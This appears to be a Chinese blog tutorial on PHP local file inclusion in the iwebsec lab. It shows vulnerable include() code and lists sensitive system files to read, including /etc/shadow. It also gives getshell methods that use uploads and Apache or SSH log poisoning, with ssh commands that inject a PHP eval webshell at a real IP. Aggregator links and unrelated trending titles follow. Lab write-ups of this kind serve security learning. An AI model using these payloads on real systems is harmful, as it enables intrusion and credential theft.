文章目录

  • 00-文件包含漏洞原理
    • 环境
  • 01-本地文件包含
    • 读取敏感文件信息
    • 配合文件上传getshell
    • 配合日志文件getshell
    • 配合SSH日志
    • 配合运行环境

00-文件包含漏洞原理

为什么要文件包含?

为什么会有文件包含漏洞?

因为将被包含的文件设置为变量,用来进行动态调用。正是这种灵活性, 从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。文件包含函数的参数没有经过过滤,可以被攻击者控制,包含其他恶意文件,导致了执行恶意的代码。

什么是文件包含漏洞?

PHP的文件包含可以直接执行包含文件的代码,包含的文件格式不受限制(无论是txt、图片文件还是远程URL,全都作为PHP代码执行),只要能正常执行即可。文件包含函数有include()include_once()require()require_once(),它们之间的区别在于include()include_once()在文件包含时即使遇到错误,下面的代码仍继续会执行;而require()require_once()则会直接报错退出程序。【摘自《代码审计——企业级Web代码安全架构》】

环境

靶场:iwebsec,前面的文章有搭建过程。

01-本地文件包含

本地文件包含(local file include,LFI)是指只能包含在本机文件的文件包含漏洞,大多出现在模块加载、模板加载和cache调用的地方。

本关卡源码如下:

<?phpif(isset($_GET['filename'])){$filename  = $_GET['filename'];include($filename);//对$filename包含,没有进行限制}else{exit();}
?>

读取敏感文件信息

/etc/passwd(系统用户数据库文件)
/etc/group(组的数据库文件)
/etc/gshadow(存放密码)
/etc/shadow(存放密码)
/etc/profile(系统环境)
/etc/crontab(crontab配置文件)
/etc/httpd/conf/httpd.conf(Apache配置信息)
/etc/my.conf(MYSQL配置信息)
/usr/etc/php.ini(PHP配置信息)


配合文件上传getshell

假设shell.png这个文件是我们通过文件上传点上传的,但是无法解析,我们可以利用这里的文件包含漏洞解析shell.png,执行php代码。

访问shell.png,执行成功

蚁剑连接

类似地,可以上传其他后缀的文件,同样也可以解析

配合日志文件getshell

参考文章

浏览器发起请求

查看日志文件

apache+Linux日志默认路径:/etc/httpd/logs/access_log 或者 /var/log/httpd/access_log

一句话木马被编码了,用burpsuite发包。

网页源代码查看日志【方便看一点】

蚁剑连接

配合SSH日志

这个靶场环境不可以,我在本机自己测试。在web服务器的根目录新建1.php文件,写入如下代码,即01环境的代码。

日志文件在/var/log/secure,检查文件权限

修改权限

成功包含

写入一句话木马或者phpinfo()

ssh '<?php @eval($_POST[1]);?>'@8.134.148.36
ssh '<?php phpinfo();?>'@8.134.148.36

蚁剑连接

复现完成,把权限修改回去

配合运行环境

访问,没有权限

只有文件所有者具有读权限

下次遇到类似环境再试试。

剩下的留在下个文章写。

文件包含漏洞1 | iwebsec相关推荐

  1. Web安全:文件包含漏洞测试(防止 黑客利用此漏洞.)

    Web安全:文件包含漏洞测试. 文件包含的漏洞是  程序员在开发网站的时候,为了方便自己开发构架,使用了一些包含的函数(比如:php开发语言,include() , include_once() , ...

  2. 一个云本地文件包含漏洞,影响世界一流公司

    本文讲的是一个云本地文件包含漏洞,影响世界一流公司,先通过一张截图看一下影响范围吧 本地文件包含是在Oracle Responsys的云服务中存在的.什么是Responsys?它是企业级基于云的B2C ...

  3. phpinfo.php ctf,这你不是你所常见的PHP文件包含漏洞(利用phpinfo)

    0x01 前言 看到文件包含(+phpinfo ) 的问题,在上次众测中出现此题目,如果没打过CTF,可能真的很少见到这种问题,当然作为小白的我,也是很少遇到,毕竟都是第一次,那就来总结一波经验和操作 ...

  4. 文件包含漏洞检测工具fimap

    文件包含漏洞检测工具fimap 在Web应用中,文件包含漏洞(FI)是常见的漏洞.根据包含的文件不同,它分为本地文件包含漏洞(LFI)和远程文件包含漏洞(RFL).利用该漏洞,安全人员可以获取服务器的 ...

  5. Apache Tomcat 文件包含漏洞(CVE-2020-1938)

    安全公告编号:CNTA-2020-0004 2020年1月6日,国家信息安全漏洞共享平台(CNVD)收录了由北京长亭科技有限公司发现并报送的Apache Tomcat文件包含漏洞(CNVD-2020- ...

  6. Apache Tomcat 曝文件包含漏洞:攻击者可利用该漏洞读取webapp目录下的任意文件...

    点击上方蓝色"程序猿DD",选择"设为星标" 回复"资源"获取独家整理的学习资料! 作者 | oschina 来源 | https://ww ...

  7. 文件包含中过滤了php,文件包含漏洞---php协议

    一.原理 1.概念:在php代码中,总会有一些代码我们会经常用到,这时引入了文件包含函数,可以通过文件包含函数把这些代码文件包含进来,直接使用文件中的代码,这样提高了我们的工作效率. 2.文件包含函数 ...

  8. php filter 文件包含,php://filter(文件包含漏洞利用)及php://input

    1. php://filter 文件包含漏洞:https://blog.csdn.net/fageweiketang/article/details/80699051 筛选过滤应用: 1. 字符串过滤 ...

  9. Web安全之文件包含漏洞

    什么是文件包含 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件.而无需再次编写,这种 文件调用的过程一般被称为文件包含. 例如:include "conn ...

最新文章

  1. faiss简介及示例
  2. windows添加删除静态路由
  3. 009_字符串内建函数
  4. oracle 与sql serve 获取随机行数的数据
  5. Javascript设置对象属性为只读
  6. SpringMVC 之类型转换Converter 源代码分析
  7. 中电网嵌入式系统主题月即将开幕
  8. 【知识图谱系列】知识图谱的神经符号逻辑推理
  9. Unix环境高级编程——学习笔记
  10. java毕业设计——基于java+JavaBean+jsp的网上零食销售系统设计与实现(毕业论文+程序源码)——网上零食销售系统
  11. winform DevComponents.DotNetBar2 添加到工具栏方法
  12. 文件误删除如何找回呢?四步妙招解决
  13. 大数据的价值,主要体现在哪几方面?
  14. 如何用纯 CSS 创作一个永动的牛顿摆
  15. 国外广告联盟骗局汇总(持续更新中)
  16. windows截图保存自动化脚本以及设置快捷键一键运行
  17. 比亚迪元EV汽车拆解报告
  18. 关于阿里云香港Region可用区C服务中断事件的说明
  19. 和平精英电脑版服务器未响应,和平精英电脑版为什么卡顿 电脑版卡顿解决方法...
  20. JDK下载(jdk1.8下载与安装教程)

热门文章

  1. STemWin 入门(1)
  2. 搭建我的世界java版服务器,公网远程联机【内网穿透】
  3. 概率论常见面试问题总结,含答案
  4. 如何制作PDF,以及给PDF添加书签
  5. 普元云计算-聊聊前端工程化的实践与未来
  6. 多普达(dopod)原装配件在线订购中心-搜索结果 P900 2008-08-20
  7. ORACLE与DM7双向同步
  8. 【源代码】关于D_S证据理论和可信度的计算
  9. 前端笔试常考设计模式,操作系统,数据结构,ACM模板,经典算法,正则表达式,常用方法
  10. 《Flutter 控件大全》第九十六:TextField、EditableText、TextInput